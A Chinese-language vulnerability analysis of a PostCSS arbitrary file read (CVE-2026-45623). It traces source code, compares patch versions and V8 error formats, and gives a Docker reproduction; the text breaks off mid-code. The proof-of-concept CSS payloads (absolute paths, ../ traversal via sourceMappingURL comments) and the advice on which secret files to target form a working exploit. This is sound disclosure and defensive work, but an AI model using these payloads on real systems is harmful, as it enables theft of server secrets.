先说结论

一行看似无害的 CSS 注释,就能让 PostCSS 读取服务器上的任意文件,并通过异常消息回显文件内容前缀。无需插件、无需显式开启 source map、通常也无需设置 from,攻击者唯一需要做的就是把这段文本嵌入 CSS 输入中。

这条攻击链真正有意思的地方,不是某个特别显眼的危险函数,而是 PostCSS 一个藏得很深的"默认行为":自动从 CSS 注释中提取 sourceMappingURL,把它当成本地文件路径读取,而且整个过程几乎没有安全边界检查。从注释提取到文件读取,中间一共经过 6 个阶段,最危险的空档刚好出现在"路径净化"和"真正读文件"之间。

下面我会按源码把这 6 个阶段一层层拆开,顺手把 Docker 复现和补丁 diff 也对上,最后再把 8.5.12 之后剩下的 .map 利用面按版本捋清楚,重点看攻击者到底还能拿到什么,以及外显条件到底变成了什么。

先把这个洞的轮廓摆清楚

1.1 基本信息

字段

内容

CVE 编号

CVE-2026-45623

CVSS 3.1

7.5(HIGH)— CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-22(路径穿越)、CWE-200(信息泄露)

影响版本

postcss < 8.5.12

修复版本

8.5.12(修掉原始任意文件 + 异常泄露)→ 8.5.18(补 from 目录边界)→ 8.5.23(关闭无 from 默认入口)

披露日期

GHSA:2026-07-20 | CVE:2026-07-27

1.2 为什么这个洞值得单独写一篇

PostCSS 是前端生态中使用最广泛的 CSS 后处理器之一。根据 npm 页面在 2026 年 8 月的公开数据,其周下载量约为 2.74 亿次。它被大量构建工具(如 Vite、Next.js、Webpack)、CSS 框架(Tailwind CSS)、以及各类在线 CSS 处理服务作为底层依赖使用。

任何将用户可控 CSS 传入 postcss().process() 的场景,理论上都可能成为该漏洞的攻击面——包括但不限于:

  • 支持用户上传自定义主题/样式的 CMS 系统
  • 在线 CSS 格式化、压缩、转换服务
  • 浏览器扩展和 userstyle 处理管线
  • 多租户 SaaS 平台的样式定制功能
  • 对第三方 npm 包样式执行 PostCSS 的 CI/CD 流水线

1.3 先压成一句话

PostCSS 默认从 CSS 注释中提取 sourceMappingURL 并将它当作本地文件路径读取,整个过程缺少安全边界检查。

1.4 利用门槛其实并不高

条件

说明

攻击者可控制 CSS 输入

能向 postcss().process(css) 传入恶意 CSS

运行于 Node.js 环境

PostCSS 本身是 Node.js 库

opts.map 不为 false

默认情况下未显式禁用 source map

目标文件对进程可读

Node.js 进程有权限读取目标文件

在绝大多数部署场景中,这些条件都是默认满足的。

先把整条链过一遍

在扎进源码之前,不妨先把全貌过一遍。这样后面看到每个函数时,就不会只盯着局部实现,而是能一直带着整条数据流去看。

2.1 六步走完整条链

整条攻击链从攻击者提交恶意 CSS 开始,一路经过 6 个阶段,最后再以两种不同的形态把目标文件信息带出进程边界。这里先把每一环在做什么、漏检漏在哪里讲清楚,源码细节放到后面展开。

入口其实很低

攻击者唯一需要做的事,就是把恶意 CSS 提交到 postcss().process(css, opts)。Input 构造函数会先判断 pathAvailable 和 sourceMapAvailable 两个环境标志:在常见 Node.js 部署中这两者默认均为 true,随即进入 new PreviousMap(this.css, opts);只有当调用方显式设置 opts.map === false 时才会在此处被阻断。这意味着绝大多数未做特殊配置的调用都会自动进入后续危险路径。

Stage ① 入口:Input 构造(lib/input.js 70-76)

Input 构造函数将原始 CSS 字符串原样传入 new PreviousMap(this.css, opts),不过滤;对 opts.map 的安全检查被推迟到 PreviousMap 内部。构造完成后会立即调用 map.consumer().file,意味着整条攻击链是一次性触发的——开发者即便只写了一行 postcss().process(css),文件系统操作也已经在这一步默默执行完毕。详见 §3.1。

Stage ② 提取:loadAnnotation()(lib/previous-map.js 73-84)

loadAnnotation() 用正则 /*s*# sourceMappingURL= 扫描全部 CSS 注释,再用 lastIndexOf 取最后一个匹配,截取 /* ... */ 之间的内容交给 Stage ③。这一阶段本身符合 CSS source map 规范;问题在后续把这段注释文本直接当作本地文件路径处理。lastIndexOf 让漏洞更像"尾部覆盖原语":攻击者只需把恶意注释追加到 CSS 尾部即可覆盖正常值。详见 §3.2。

Stage ③ 净化:getAnnotationURL()(lib/previous-map.js 60-62)🔴 最值得盯住的一步

getAnnotationURL() 只做了 sourceMapString.replace(/^/*s*# sourceMappingURL=/, '').trim()——去掉注释前缀、trim 空格,仅此而已。不拒绝绝对路径、不检测 ../、不做路径规范化、也不区分 URL 与文件路径。函数名暗示产出是 URL,但下游却当成本地路径——这个语义断裂是漏洞根源。详见 §3.3。

Stage ④ 路径构造:loadMap()(lib/previous-map.js 129-132)

loadMap() 取 let map = this.annotation;若 opts.from 已设置则 map = join(dirname(file), map);最后 return this.loadFile(map)。path.join() 会正常解析 .. 和 .,但不限制结果必须在某目录内(这是 Node.js 设计行为,非 bug),问题在于 PostCSS 未对 join 结果做边界约束。攻击在此分叉为两条路径:路径 A(无 from)绝对路径直接生效;路径 B(有 from)目录穿越逃逸。详见 §3.4。

Stage ⑤ 文件读取:loadFile()(lib/previous-map.js 87-91)🔴 Sink

两条路径汇入同一个 loadFile(path) sink:先 existsSync(path),再 readFileSync(path, 'utf-8').toString().trim()。无扩展名检查、无白名单、无 trusted 参数、使用同步阻塞读取。existsSync() 的返回值构成三类可区分状态的 side channel(文件存在性 Oracle)。漏洞在 readFileSync() 成功返回时就已经成立:文件内容已进入进程内存、this.mapFile 已被设为攻击者指定的真实路径;后续是报错、吞错还是继续合并 source map,只影响如何外显,不改变"未经授权读取已发生"这一事实。详见 §3.5。

Stage ⑥ 信息泄露:consumer()(lib/previous-map.js 32-35)🔴 Leak

读取到的文件内容存放在 this.text 中,consumer() 紧接着将其无预检地传给 new SourceMapConsumer(this.text),最终走到 JSON.parse(str)。根据目标文件内容是否为合法 JSON,最终表现为两类泄露方式:

  • 不是合法 JSON(.env、/etc/passwd 等):V8 抛 SyntaxError,异常消息把目标文件约 10 字节前缀外显,同时确认文件存在、并可由首 token 推断文件类型。
  • 是合法 JSON(外部 .map 文件等):解析静默成功,不抛异常,但攻击者仍据此知道文件存在;若是真正的 source map,还可能进一步通过 sources / sourcesContent 字段泄露。

整条链的最终输出形态取决于 opts.from 是否设置(决定走路径 A 还是 B)以及目标文件内容是否为合法 JSON(决定异常外显还是静默回显)。详见 §3.6。

真正该盯住的是 Stage ③(弱净化)到 Stage ⑤(文件读取)这一段:中间几乎没有任何像样的校验。攻击者的输入从 getAnnotationURL() 出来以后,就一路滑进了 readFileSync(),路径形态判断、目录边界、扩展名白名单、trusted 标记这些本该出现的关卡全都缺位了。

2.2 这 6 步分别跨过了哪些边界

上述六个阶段可以分成三个不同的"信任域":

信任域

包含阶段

安全状态

说明

用户输入域

① → ②

⚪ 中性

CSS 注释是 source map 规范的一部分,提取逻辑本身无安全问题

危险转换域

③ → ④

🔴 缺失

从"注释文本"到"文件路径"的转换缺少安全边界。③ 只去掉了 CSS 注释前缀,④ 直接用 path.join() 拼接——两个阶段之间零校验

文件操作域

⑤ → ⑥

🔴 关键

readFileSync 直接落地,且读取结果直通 JSON.parse。不存在文件就返回 Oracle 信息,存在就触发异常泄露

顺着源码往下拆

下面这一段直接沿着源码往下走。每一步都不复杂,但连在一起以后,漏洞为什么能成立就很清楚了。

3.0 先看数据怎么一路滑进 readFileSync

在逐行分析源码之前,先用一张精简图看清数据在 6 个阶段之间的形态变化,以及安全校验在哪些节点缺失:



这张图最值得注意的地方很简单:数据每往前走一步,信任级别都在提升,但中间几乎没有补上任何新的校验。CSS 注释文本就这样一路变成了文件路径、文件内容,最后又变成了异常消息的一部分。

下面,我们逐个阶段展开源码分析。

3.1 Stage ① — 入口点:Input 构造函数

文件:lib/input.js(postcss 8.5.11)

// lib/input.js L70-76
if (pathAvailable && sourceMapAvailable) {
  let map = new PreviousMap(this.css, opts)  // ← CSS 直接传入,无任何过滤
  if (map.text) {
    this.map = map
    let file = map.consumer().file        // ← 立即触发 consumer() 解析
    if (!this.file && file) this.file = this.mapResolve(file)
  }
}

这里先看三个点:

  • Input 层不检查 opts.map 选项——这个检查推迟到了 PreviousMap 构造函数内部
  • pathAvailable 和 sourceMapAvailable 在常见 Node.js 环境中通常为 true
  • map.consumer().file 在构造完成后立即调用,意味着攻击链是一次性触发的,不需要任何后续操作

开发者如果只看 postcss().process(css) 这行调用,很难意识到它内部已经自动执行了文件系统操作。

3.2 Stage ② — 注释提取:loadAnnotation()

文件:lib/previous-map.js L73-84(8.5.11)

loadAnnotation(css) {
  let comments = css.match(/\/\*\s*# sourceMappingURL=/g)  // ← 正则提取
  if (!comments) return

  let start = css.lastIndexOf(comments.pop())   // ← 取最后一个匹配
  let end = css.indexOf('*/', start)

  if (start > -1 && end > -1) {
    this.annotation = this.getAnnotationURL(css.substring(start, end))
  }
}

这里要注意几件事:

  • 正则 /*s*# sourceMappingURL= 可匹配 /*# sourceMappingURL= 和 /* # sourceMappingURL= 两种格式
  • 使用 lastIndexOf 取最后一个匹配——如果 CSS 中有多个注释,攻击者可以覆盖前面的正常注释
  • 提取出来的字符串包含完整的 /*# sourceMappingURL=... */,需要 Stage ③ 进一步处理

这个阶段本身没有安全问题——sourceMappingURL 注释是 CSS source map 规范的一部分。问题在于:PostCSS 没有区分"这是 CSS 注释中的纯文本标注"和"这是一个应该被安全处理的本地文件路径"。

3.2.1 为什么"取最后一个注释"对攻击者更友好

loadAnnotation() 不是取第一个 sourceMappingURL,而是取最后一个。这意味着攻击者在很多真实场景里不需要移除原本合法的 source map 注释,只需要把一段恶意注释追加到 CSS 尾部,就能覆盖前面的正常值。例如:

/* 构建工具原本生成的合法注释 */
/*# sourceMappingURL=app.css.map */

/* 攻击者后追加的一行 */
/*# sourceMappingURL=/tmp/server-secret.env */

对防守方来说,这个细节有两个现实含义:

  • 如果系统会把"平台生成的样式"和"用户补充的样式"做字符串拼接,攻击者往往只需要控制最后拼接进去的那一段
  • 如果审计者只关注"是否已经存在合法 .map 注释",很容易误判为"已经被正常 source map 占位,无法覆盖"

说得再直白一点,lastIndexOf(comments.pop()) 让这个漏洞更像一个尾部覆盖原语:攻击者不用和原有注释抢位置,只要拿到"最后落盘"的机会就够了。

3.3 Stage ③ — 弱净化:getAnnotationURL() 🔴

如果只挑一处最该记住的代码,这里就是。

文件:lib/previous-map.js L60-62(8.5.11)

getAnnotationURL(sourceMapString) {
  return sourceMapString.replace(/^\/\*\s*# sourceMappingURL=/, '').trim()
}

就这。两行代码。只是把 /*# sourceMappingURL= 前缀去掉然后 trim 一下。没有任何安全检查。

安全缺失清单:

缺失项

说明

攻击利用

❌ 仅特判 data:

除 data: 之外,其余注释值继续走磁盘路径分支

注释文本可直接变成本地路径

❌ 无绝对路径限制

不检查路径是否以 / 开头

/proc/self/environ 可直接传入

❌ 无 ../ 穿越检测

不检查是否包含 ../

../../../../../tmp/secret 可逃逸

❌ 无路径规范化

不对路径做 path.resolve() 或 path.normalize()

符号链接、. 和 .. 均可利用

❌ 不区分 URL 与文件路径

函数名叫 getAnnotationURL,产出却是文件路径

没有 URL → 路径的安全转换

说白了,这里就是把注释值直接当成可信输入用了。函数名叫 getAnnotationURL,听起来像是在处理 URL;但下游(Stage ④⑤)拿到它以后,直接就按本地文件路径去走。这个语义断裂,正是整条链能成立的根子。

3.4 Stage ④ — 路径构造:loadMap()

文件:lib/previous-map.js L129-132(8.5.11)

// prev 为空且 annotation 非 data: URI 时的分支
} else if (this.annotation) {
  let map = this.annotation           // ← 攻击者控制的路径字符串
  if (file) map = join(dirname(file), map)  // ← join 允许 ../ 穿越
  return this.loadFile(map)           // ← 直接传入 loadFile()
}

两种攻击路径的分流:



对应到源码中的计算:

// === 场景 A:opts.from 未设置 → 绝对路径直接生效 ===
// CSS 输入:
//   a {}
//   /*# sourceMappingURL=/tmp/server-secret.env */
//
// getAnnotationURL 输出:"/tmp/server-secret.env"
// file === undefined
// map = "/tmp/server-secret.env"  ← 原样传入,攻击者的绝对路径一字不改
// → loadFile("/tmp/server-secret.env")  ← 直接读取!


// === 场景 B:opts.from 已设置 → 目录穿越 ===
// CSS 输入:
//   a {}
//   /*# sourceMappingURL=../../../../../tmp/server-secret.env */
//
// getAnnotationURL 输出:"../../../../../tmp/server-secret.env"
// from = "/var/www/html/styles/main.css"
// file = from
// map = join(dirname("/var/www/html/styles/main.css"), "../../../../../tmp/server-secret.env")
//     = join("/var/www/html/styles", "../../../../../tmp/server-secret.env")
//     = "/tmp/server-secret.env"  ← 成功逃逸出 /var/www/html/styles 目录!
// → loadFile("/tmp/server-secret.env")  ← 跨目录读取!

path.join() 的语义是"拼接路径并规范化",它会正常解析 .. 和 .,但不会限制结果必须在某个目录内。这是 Node.js path.join() 的设计行为,不是 bug——问题在于 postcss 没有对 join 结果做边界约束。

3.4.1 为什么 opts.from 没挡住,反而让利用更稳

乍看这里很容易以为:既然 from 提供了一个基准路径,多少总该比"完全无上下文"安全一点。实际恰好相反。在 <= 8.5.17 的版本里,from 更像是给攻击者提供了一根可计算的撬棍。

原因在于:

  • 没有 from 时,攻击者通常只能直接赌绝对路径,如 /app/.env、/tmp/...
  • 有 from 时,攻击者拿到的是一个稳定锚点:dirname(file)
  • 一旦锚点可预测,../../.. 的逃逸深度就可以离线算出来,利用不再依赖进程当前工作目录

从利用工程角度看,from 的价值不只是"允许相对路径"这么简单,而是把漏洞从"依赖目标机器上某些已知绝对路径的猜测"变成"依赖一个构建系统、Web 服务或 CLI 在日志、错误或接口中经常会暴露的基准文件路径"。

这也是为什么 8.5.18 的补丁必须补"结果路径仍留在 opts.from 目录内"这条约束,而不是简单继续信任 join(dirname(file), map)。

3.5 Stage ⑤ — 文件读取:loadFile() 🔴

文件:lib/previous-map.js L87-91(8.5.11 脆弱版本)

loadFile(path) {                           // ← 只有一个参数,无 trusted/untrusted 区分
  this.root = dirname(path)
  if (existsSync(path)) {                  // ← 文件存在性 Oracle!
    this.mapFile = path
    return readFileSync(path, 'utf-8')     // ← 任意文件读取 sink
      .toString().trim()
  }
}

安全缺失:

缺失项

说明

后果

❌ 无扩展名检查

不要求文件以 .map 结尾

.env、/etc/passwd、任意文件均可读

❌ 无白名单机制

不限制可读取的文件路径

任何进程可访问的文件都能读

❌ 无 trusted 参数

无法区分"官方 source map"和"用户指定路径"

所有路径一视同仁

❌ 同步阻塞读取

使用 readFileSync

大文件/管道可能造成 DoS

文件存在性 Oracle:existsSync(path) 的返回值构成了一个三类可区分状态的 side channel:

场景

existsSync

程序行为

攻击者可区分

文件不存在

false

静默返回 undefined,输出正常 CSS

✅

文件存在且非 JSON

true

读取成功 → JSON.parse 抛异常

✅

文件存在且是合法 JSON

true

读取成功 → 静默解析成功

✅

三种状态可明确区分,形成完整的文件系统探测能力。攻击者可以像使用 curl --head 一样探测服务器文件系统中感兴趣的目标。

3.5.1 别把问题只看成后面的异常

看到这里时,注意力很容易被后面的 JSON.parse 异常吸走,进而低估 Stage ⑤ 本身的严重性。但从安全定义上说,漏洞在 readFileSync() 成功返回时就已经成立了。

原因很直接:

  • 文件内容已经从磁盘进入进程内存
  • this.mapFile 已记录了攻击者指定的真实路径
  • this.root 已被设置为目标文件所在目录
  • 后续是报错、吞错、还是继续合并 source map,只影响"如何外显",不改变"未经授权读取已经发生"

这一区分很关键,因为它解释了为什么:

  • 8.5.12 虽然切断了非 JSON 文件的异常外显,但没有一次性消灭所有读取面
  • 安全审计里不能把"不再报错"等同于"不再读文件"

从攻防术语上看,Stage ⑤ 是 sink,Stage ⑥ 只是这个 sink 的一个回显通道。

3.6 Stage ⑥ — 文件内容是怎么继续流到 JSON.parse 的 🔴

这是漏洞最终表现为"信息泄露"而非"直接文件下载"的关键环节。

文件:lib/previous-map.js L32-35(8.5.11)

consumer() {
  if (!this.consumerCache) {
    this.consumerCache = new SourceMapConsumer(this.text)
    //                                         ^^^^^^^^^
    //                    此时 this.text = 从目标文件读取的完整内容
    //                    例: "API_KEY=sk-secret-12345\n"
  }
  return this.consumerCache
}

没有任何预检,直接把文件内容传给第三方库 source-map-js。

// source-map-js/lib/util.js
function parseSourceMapInput(str) {
  return JSON.parse(str.replace(/^\)]}'[^\n]*\n/, ''));
  //     ^^^^^^^^^
  //     当文件内容不是合法 JSON 时,抛出 SyntaxError
  //     V8 的异常消息中会附带 ~10 字节的文件内容前缀!
}

完整的泄露链路和异常消息格式,下面就顺着这条线继续往下看。

3.7 把关键脆弱点收个表

#

阶段

文件:行号

脆弱点

安全缺失

1

Entry

input.js:71

new PreviousMap(this.css, opts)

Input 层默认创建 PreviousMap,不检查 opts.map

2

Extract

previous-map.js:74

css.match(/regex/)

正则提取后无验证

3

Sanitize

previous-map.js:61

getAnnotationURL()

❌ 无 scheme 白名单

4

Sanitize

previous-map.js:61

getAnnotationURL()

❌ 无绝对路径限制

5

Sanitize

previous-map.js:61

getAnnotationURL()

❌ 无 ../ 穿越检测

6

Path

previous-map.js:131

join(dirname, map)

❌ 无目录边界约束

7

Sink

previous-map.js:89

existsSync(path)

❌ 文件存在性 Oracle

8

Sink

previous-map.js:90

readFileSync(path, 'utf-8')

❌ 8.5.11 无扩展名限制

9

Leak

previous-map.js:34

new SourceMapConsumer(this.text)

❌ 8.5.11 无 JSON 预检

10

Leak

util.js:539

JSON.parse(str)

异常消息包含文件前缀

异常消息为什么会把文件前缀带出来

看到这里通常会有个问题:文件确实被 readFileSync 读进内存了,但 PostCSS 并没有一个"把文件原样返回给你"的接口,攻击者到底是怎么看到内容的?

答案是:不是直接返回,而是通过异常消息这个 side channel。

4.1 三层调用链(序列图)



4.2 第一层:previous-map.js — consumer()

// lib/previous-map.js L32-35
consumer() {
  if (!this.consumerCache) {
    this.consumerCache = new SourceMapConsumer(this.text)
    // 此时 this.text = readFileSync(path, 'utf-8').toString().trim()
    // 例: "API_KEY=sk-secret-12345"
  }
  return this.consumerCache
}

文件内容原样传入构造函数,无预检、无过滤。

4.3 第二层:source-map-js — BasicSourceMapConsumer

// node_modules/source-map-js/lib/source-map-consumer.js
function BasicSourceMapConsumer(aSourceMap, aSourceMapURL) {
  var sourceMap = aSourceMap;
  if (typeof aSourceMap === 'string') {
    sourceMap = util.parseSourceMapInput(aSourceMap);  // ← 这里触发 JSON 解析
  }
  var version = util.getArg(sourceMap, 'version');
  if (version != this._version) {
    throw new Error('Unsupported version: ' + version);
  }
  // ...
}

当参数是字符串时(postcss 传入的就是 readFileSync 返回的字符串),直接调用 parseSourceMapInput()。

4.4 第三层(真正的泄露点):util.parseSourceMapInput → JSON.parse

// node_modules/source-map-js/lib/util.js
function parseSourceMapInput(str) {
  return JSON.parse(str.replace(/^\)]}'[^\n]*\n/, ''));
}

泄露机制的可视化:

// 假设 readFileSync 读到了 /tmp/server-secret.env:
const text = "API_KEY=sk-secret-12345\n"

// Step 1: XSSI 前缀替换
text.replace(/^\)]}'[^\n]*\n/, '')
// → "API_KEY=sk-secret-12345\n"  (没有匹配,原样返回)

// Step 2: JSON.parse 尝试解析
JSON.parse("API_KEY=sk-secret-12345\n")

// 💥 V8 抛出异常:
// SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
//                                         ^^^^^^^^^^^^
//                     V8 在异常消息中附带 ~10 字节上下文,泄露文件前缀!

4.5 为什么是 ~10 字节?

这是 V8 JavaScript 引擎的错误消息格式化行为。当 JSON.parse 在位置 0 遇到非法 token 'A' 时,V8 构造的 SyntaxError 消息格式为:

Unexpected token '{token}', "{context}..." is not valid JSON

其中 {context} 是以非法 token 为起点的约 10 个字符的片段。这个长度不是攻击者可控的,但也不是固定规范值——它取决于 V8 的内部实现细节,可能随版本变化。

⚠️ 重要说明:异常消息中显示的文件前缀长度取决于当前运行环境的 Node/V8 版本。本文示例中展示的 API_KEY=sk 是 10 字符,但在不同环境下可能略有差异。在写检测规则时不应该把这个长度当成硬编码值。

4.5.1 为什么泄露的是"前缀片段",而不是整段文件内容

当 JSON.parse("API_KEY=sk-secret-12345 ") 在位置 0 失败时,V8 并不是把原始输入全文塞进异常消息里,而是大致做了下面三件事:

  1. 记录第一个非法 token 出现的位置。这里是位置 0,非法字符是 A。
  2. 从错误位置附近截取一小段上下文,用于帮助开发者定位问题。
  3. 把这段上下文嵌进 SyntaxError 消息模板,而不是把完整字符串原样回显。

因此,攻击者拿到的其实不是"完整文件内容",而是一个由 V8 帮忙裁剪过的调试片段。这解释了两个现象:

  • 为什么 .env、/etc/passwd 这类高信噪比前缀文件特别值钱:因为回显窗口很短,首部必须足够有辨识度
  • 为什么这个漏洞在 <= 8.5.11 阶段更像"前缀探针"而不是"全文下载器":泄露上限受 V8 消息格式约束,而不是受 PostCSS 业务逻辑约束

从攻击收益角度看,这种机制会把目标文件自然分成两类:

文件类型

首部特征

泄露价值

.env / token 配置

API_KEY=、SECRET=、DB_URL=

很高,前几字节就能确认敏感性

/etc/passwd

root:x:

很高,能立刻确认 Unix 主机特征

大型 JSON / .map

可能以 { 开头

较低,往往不会走异常分支

普通源码文件

可能以 import、const、注释开头

中等,能猜语言和用途,但不一定直接泄密

所以这条链在原始 CVE 里最实用的利用思路,从来不是"随便读一个文件试试",而是优先挑那些前缀本身就带高价值语义的目标。

4.6 这里真正的外显通道是什么

这不是直接把文件当返回值暴露给调用方,而是通过一个解析失败的 side channel——异常消息——把文件开头的一小段内容带出来。

这种泄露模式有个更准确的名字,叫"错误消息侧信道"(Error Message Side Channel)。它不依赖某个显式的"返回文件内容"逻辑,而是利用了异常处理链路上的信息残留。

4.7 换个 Node 版本,泄露窗口就不是一个样子了

§4.5 给出的"~10 字节"是一个基于单一 Node 版本观察得到的经验值。在后续验证中我们用同一组输入在 Node 18 / 20 / 22 / 24 / 26 的官方 node:*-slim 镜像里跑了样本,发现"前缀窗口"的真实形态并非一个稳定常量,而是同时受 V8 主版本与 错误分类两个维度影响。下面是实测结果,可作为复核参考。

4.7.1 不同 Node 版本的错误格式矩阵

输入统一为 JSON.parse(t) 在 node:*-slim 容器内执行:

输入样本

Node 18 输出

Node 20-26 输出

"abc"

Unexpected token a in JSON at position 0

Unexpected token 'a', "abc" is not valid JSON

"API_KEY=sk-secret"

Unexpected token A in JSON at position 0

Unexpected token 'A', "API_KEY=sk-secret" is not valid JSON

"#!/bin/bash SECRET=x"

Unexpected token # in JSON at position 0

Unexpected token '#', "#!/bin/bash SECRET=x" is not valid JSON(多行也被原样带出)

"0,ABCDEF123456"

Unexpected token , in JSON at position 1

Unexpected non-whitespace character after JSON at position 1 (line 1 column 2)

"{"x":1,ABCDEF}"

Unexpected token A in JSON at position 7

Expected double-quoted property name in JSON at position 7 (line 1 column 8)

观察:

  • Node 18:所有错误一律走 ... in JSON at position N 形态,完全没有 "<context>" 这一段——回显窗口事实上只有 1 字节(失败 token 的字符本身)+ 一个 position 数字。
  • Node 20-26:错误形态分裂为两类。第 0 位就是非法 token 时走 Unexpected token 'X', "<context>..." is not valid JSON(带上下文);当输入前缀恰好是合法 JSON 后再遇到非法字符,则改走 position N (line M column K) 形态,不再带任何字符上下文,只给出 N/M/K 这三个数字。

这是非常重要的修正:之前文中所说"~10 字节前缀"只在"首字符即非法"这一种错误形态下成立;一旦目标文件首部恰好是合法 JSON 片段(数字、字符串、true/false/null、数组元素分隔等),Node 20+ 也只输出 position,回显窗口退化为 0 字节。

4.7.2 Node 20+ 真实窗口宽度的实测

固定输入为 ws + "SECRET=value1234567890ABCDEFGH"(ws 是 N 个空格),在 Node 20/22/24/26 上跑,visibleLen 是从 e.message 中截取到的两个引号之间的可见字符长度:

ws 长度

可见窗口内容

visibleLen

0

"SECRET=val"

10

1

" SECRET=val"

11

5

" SECRET=val"

15

9

" SECRET=val"

19

10 及以上

" SECRET=val"

20(再加 "..." 前缀指示截断)

由此得出的是 V8 在这一族错误路径上的实际窗口习惯:约 10 字符的"失败位置之前的上下文" + 约 10 字符"从失败位置开始的上下文",二者拼起来上限是 20 字符。§4.5 给出的"~10"对应的是文件首部正好命中非法 token、前文为空的场景;只要文件首部带空白、 、UTF-8 BOM、)]}' XSSI 前缀这样的"合法但不致命"字节,回显窗口就能向左延伸到约 20 字符。

工程上对攻击者有两条直接含义:

  1. 文件起始位置的"非语义空白"(包括前导 之类)会被 V8 算入失败位置前的上下文,间接把当前真正的首字节往下推。这会推高线性推进窗口的"右沿",让首字节本身不是高价值字符的目标也能泄露更多位。
  2. 但反过来,凡是能做到 V8 接受若干字符再失败的目标(首部是数字、null、true 等),在 Node 20+ 上只能拿到失败位置的 position N,连 10 字节都没有——更接近一个"长度前缀"探针。

落地到检测:WAF / 日志告警规则不能只匹配一种模式(如 ..., "..."... is not valid JSON),还需要把 Node 18 的 Unexpected token X in JSON at position N 与 Node 20+ 的 position N 类一同纳入。

4.7.3 parseSourceMapInput 里的 XSSI 正则不是 ReDoS,但有一个"窗口跳变"副作用

source-map-js 的 parseSourceMapInput 是这样写的:

// node_modules/source-map-js/lib/util.js
function parseSourceMapInput(str) {
  return JSON.parse(str.replace(/^\)]}'[^\n]*\n/, ''));
}

^)]}'[^ ]* 这个正则结构上不可能产生灾难性回溯:[^ ] 与结尾的 在字符类上互斥,[^ ]* 走到第一个 即停;^ 锚定后第一段失败立即退出。所以在 1 MB 量级线上输入下也是线性时间,不存在 ReDoS。这一点可以把 §3.6 / §6.1 里"replace(/^)]}'[^ ]* /)"的危险性收口为"无 ReDoS"。

但这条正则有一个对泄露窗口有影响的副作用。如果目标文件的首行恰好以字节序列 )]}' 起头,则在 JSON.parse 之前会被剥掉这一整行。于是 JSON.parse 拿到的不是文件首行,而是从第二行开始——V8 抛出错误时显示的"前缀窗口"被整体右移到第二行内容。在真实文件里首字面以 )]}' 开头极少见(一般只在外部已生成的 source map 防劫持头里出现),但分析阶段需要注意这一规则会让"窗口起点"与"文件首字节"不对应。

用 Docker 把这条链跑一遍

5.1 复现环境怎么搭

为了避免"环境偶然成功",我把整个复现环境固化为 Docker 资产。核心设计思路是 ARG POSTCSS_VERSION 一镜双用——同一个 Dockerfile、同一套 PoC 代码,只切换 POSTCSS_VERSION 这个构建参数,就能同时运行脆弱版和修复版。

为了让文章本身可以独立复现,下面把实验里用到的脚本和配置直接内嵌出来,不需要额外附件。

compose.yml

services:
  vuln:
    image: postcss-cve-2026-45623:vuln
    build:
      context: .
      dockerfile: repro/Dockerfile
      args:
        POSTCSS_VERSION: 8.5.11

  fixed:
    image: postcss-cve-2026-45623:fixed
    build:
      context: .
      dockerfile: repro/Dockerfile
      args:
        POSTCSS_VERSION: 8.5.12

repro/Dockerfile

FROM node:20-bookworm-slim
ARG POSTCSS_VERSION=8.5.11
WORKDIR /app

RUN npm init -y >/dev/null 2>&1 \
 && npm install "postcss@${POSTCSS_VERSION}" >/dev/null 2>&1

COPY repro/poc.js /app/poc.js

# ⚠️ 在容器内预置一个"敏感文件"
RUN mkdir -p /var/www/html/styles \
 && printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env

CMD ["node", "/app/poc.js"]

容器内预置的 /tmp/server-secret.env 内容为 API_KEY=sk-secret-12345,一旦漏洞成立,异常消息中就会出现 API_KEY=sk 前缀,效果非常直观。

repro/poc.js

const postcss = require('postcss')

function run(name, css, opts) {
  try {
    const result = postcss().process(css, opts)
    console.log(`${name}=OK:${JSON.stringify(result.css)}`)
  } catch (e) {
    console.log(`${name}=ERR:${e.message}`)
  }
}

run('ABSOLUTE', 'a{}\n/*# sourceMappingURL=/tmp/server-secret.env */')
run(
  'TRAVERSAL',
  'a{}\n/*# sourceMappingURL=../../../../../tmp/server-secret.env */',
  { from: '/var/www/html/styles/main.css', map: { inline: false } }
)
run('MISSING', 'a{}\n/*# sourceMappingURL=/no/such/file */')

repro/run.sh

#!/bin/sh
set -eu

ROOT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)
cd "$ROOT_DIR"

SERVICE=${1:-vuln}

case "$SERVICE" in
  vuln|fixed)
    ;;
  *)
    echo "Usage: $0 [vuln|fixed]" >&2
    exit 1
    ;;
esac

docker compose build "$SERVICE"
docker compose run --rm "$SERVICE"

repro/verify.sh

#!/bin/sh
set -eu

ROOT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)
cd "$ROOT_DIR"

for service in vuln fixed; do
  echo "== $service =="
  docker compose build "$service"
  docker compose run --rm "$service"
done

如果你想完全按文中的目录来落盘,只需要把上面 5 段内容分别保存成对应文件即可。



5.2 PoC 核心逻辑

const postcss = require('postcss')

function run(name, css, opts) {
  try {
    const result = postcss().process(css, opts)
    console.log(`${name}=OK:${JSON.stringify(result.css)}`)
  } catch (e) {
    console.log(`${name}=ERR:${e.message}`)
  }
}

// 测试 1:绝对路径读取
run('ABSOLUTE', 'a{}\n/*# sourceMappingURL=/tmp/server-secret.env */')

// 测试 2:目录穿越读取
run(
  'TRAVERSAL',
  'a{}\n/*# sourceMappingURL=../../../../../tmp/server-secret.env */',
  { from: '/var/www/html/styles/main.css', map: { inline: false } }
)

// 测试 3:不存在文件探测
run('MISSING', 'a{}\n/*# sourceMappingURL=/no/such/file */')

5.3 脆弱版本输出(8.5.11)



这三行已经足够证明原始 CVE 的三个能力:

输出

证明了什么

ABSOLUTE=ERR:...API_KEY=sk...

绝对路径可读,且前缀经 JSON.parse 异常自动外显

TRAVERSAL=ERR:...API_KEY=sk...

当 from 已设置时,../ 可以逃逸出预期目录

MISSING=OK:"a{}"

<= 8.5.11 存在稳定的文件存在性 Oracle

5.4 为什么连插件都不用装

复现时最容易冒出来的疑问是:"是不是得装某个 PostCSS 插件才会走到这里?"不用。默认 postcss().process(css) 就够了,而且触发点发生在真正开始做 CSS 变换之前。

// lib/processor.js
process(css, opts = {}) {
  if (!this.plugins.length && !opts.parser && !opts.stringifier && !opts.syntax) {
    return new NoWorkResult(this, css, opts)
  } else {
    return new LazyResult(this, css, opts)
  }
}
// lib/no-work-result.js
let map = new MapGenerator(str, undefined, this._opts, css)
if (map.isMap()) {
